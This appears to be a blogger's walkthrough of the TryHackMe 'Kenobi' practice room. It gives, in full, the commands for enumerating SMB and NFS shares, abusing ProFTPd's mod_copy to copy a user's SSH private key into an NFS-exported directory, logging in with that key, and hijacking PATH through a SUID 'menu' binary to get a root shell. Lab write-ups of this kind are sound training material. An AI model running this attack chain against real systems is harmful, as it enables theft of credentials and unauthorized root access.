Kenobi

This is my walkthrough for the TryHackMe Room: Kenobi.

This room can be found here. This will be exploiting a linux machine, enumerate Samba for shares, manipulate a vulnerable version of proftpd and escalate your privileges with path variable manipulation.

I will be going through room using the attackbox

Task 1

Question #1: Scan the machine with nmap, how many ports are open?

sudo nmap -sS -sV -vv -oA Kenobi 10.10.95.185

Our results show us the answer:

Task 2

Question #1: Using the nmap command above, how many shares have been found?

This asks us to run the nmap scan nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.95.185 to find the shares.

Question #2: Once you're connected, list the files on the share. What is the file can you see?

We can connect to the machine via SMB with smbclient //10.10.95.185/anonymous.When prompted for a password, we can press enter to connect with no password.

Once we're connected we can run ls to see what files are there. We can download the file(s) with smbget -R smb://10.10.95.185/anonymous. Again pressing enter when prompted for a password for a blank/empty password.

Question #3: What port is FTP running on?

Refer back to our Nmap scan.

Question #4: What mount can we see?

Running the nmap scan nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.95.185 we can see the mount point.

Task 3

Question #1: What is the version?

Referring back to our Nmap scan result again we can find the ProFtpd version.

Question #2: How many exploits are there for the ProFTPd running?

We can use searchsploit or exploit-db to find the exploits. As the room states, we should have found exploit from ProFtpd's mod_copy module. So now now we are going to copy Kenobi's private key using SITE CPFR and SITE CPTO commands.

First connect to the target via FTP with netcat with nc 10.10.95.185 21.

Then we SITE CPFR /home/kenobi/.ssh/id_rsa.

Finally SITE CPTO /var/tmp/id_rsa.

This does a "copy from" selecting the file name, and "copy to" selecting where you're copying the file to.

Question #3: What is Kenobi's user flag (/home/kenobi/user.txt)?

Since we know the /var is a mount point, we can mount that to our machine and copy the files we need from there.

We can easily follow the rooms directions to create a mount point and mount the /var directory to the newly created mount point.

mkdir /mnt/kenobiNFS

mount 10.10.95.185:/var /mnt/kenobiNFS

ls -la /mnt/kenobiNFS

Now that we have this mounted, we can go into the tmp directory to get the id_rsa file we copied to that directory. cp /mnt/kenobiNFS/tmp/id_rda . and then we change permissions on that file so we can use the file. sudo chmod 600 id_rsa. Finally we can now ssh into the machine and obtain the flag!

ssh -i id_rsa [email protected] and after we have established a connection, cat /home/kenobi/user.txt.

Task 4

We will be looking for SUID bits to able to manipulate so we can escalate to the root user.

As the room states, we can find SUID bits with find / -perm -u=s -type f 2>/dev/null.

Question #1: What file looks particularly out of the ordinary?

Some of these might not jump out to new users right away, but the /usr/bin/menu file stands out a bit.

Question #2: Run the binary, how many options appear?

What happens when we run the command menu?

Strings is a command on Linux that looks for human readable strings on a binary. This shows us the binary is running without a full path (e.g. not using /usr/bin/curl or /usr/bin/uname). As this file runs as the root users privileges, we can manipulate our path gain a root shell.

So as the room states, we can:

cd tmp && echo /bin/sh > curl

chmod 777 curl

export PATH=/tmp:$PATH

/usr/bin/menu

So now if we type 1 for our status check we should be the root user.

This creates a file called curl with the contents /bin/sh, changed the permissions, and adds the /tmp directory to the path so when the "status check" is run from the menu command and it runs curl, it's actually running /bin/sh giving us root permissions.

Question #3: What is the root flag (/root/root.txt)?

cat /root/root.txt